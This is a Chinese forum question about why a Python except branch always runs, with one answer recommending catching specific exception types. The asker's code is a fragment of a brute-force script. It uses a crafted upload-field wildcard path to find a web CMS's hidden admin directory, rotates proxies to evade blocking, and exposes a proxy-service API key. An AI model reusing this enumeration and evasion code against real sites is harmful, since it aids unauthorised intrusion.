关于python中except的问题

zmzsg100
  • 1
新手上路,请多包涵

当代理可用时,继续使用当前代理。如果代理不可用,就在except里面再请求一次获取proxy_url.
现在的问题是,即使当前代理可用,except里面的代码还是会执行。。

def get_proxy():
    proxyapi = 'http://piping.mogumiao.com/proxy/api/get_ip_bs?appKey=93be1b258fbb4df5a298be6ba74dc5c4&count=1&expiryDate=0&format=1&newLine=2'
    req = requests.get(proxyapi)
    json_content = json.loads(req.content)['msg']
    for i in json_content:
        print json_content
        ip = i['ip']
        port = i['port']
        proxy_url = str("http://"+ip+":"+port)
    return proxy_url
proxies = get_proxy()
for num in range(1,7):
    if flag:
        break
    for pre in itertools.permutations(characters,num):
        pre = ''.join(list(pre))
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
        print("testing",pre)
        time.sleep(random.randint(2,5))
        try:
            r = requests.post(url,data=data,proxies=proxies)
            if "Upload filetype not allow !" not in r.text and r.status_code == 200:
                flag = 1
                back_dir = pre
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
                break
            else:
                data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
        except:
            proxies = get_proxy()
回复
阅读 1.7k
2 个回答
try:
    pass
except Exception as e:
    print(e)

看一下具体是什么报错。

这个的话只有一种解释,也就是说,你try里面报的错误不只是代理不可用的错误。
一般来讲我们建议python里面的except后面紧跟对应报错的类型,例如ValueError,而不是什么都不写的获取全局全部异常。
你可以尝试只捕获代理报错的异常类型,然后看看中间是不是还发生了什么其他异常,再对应解决

宣传栏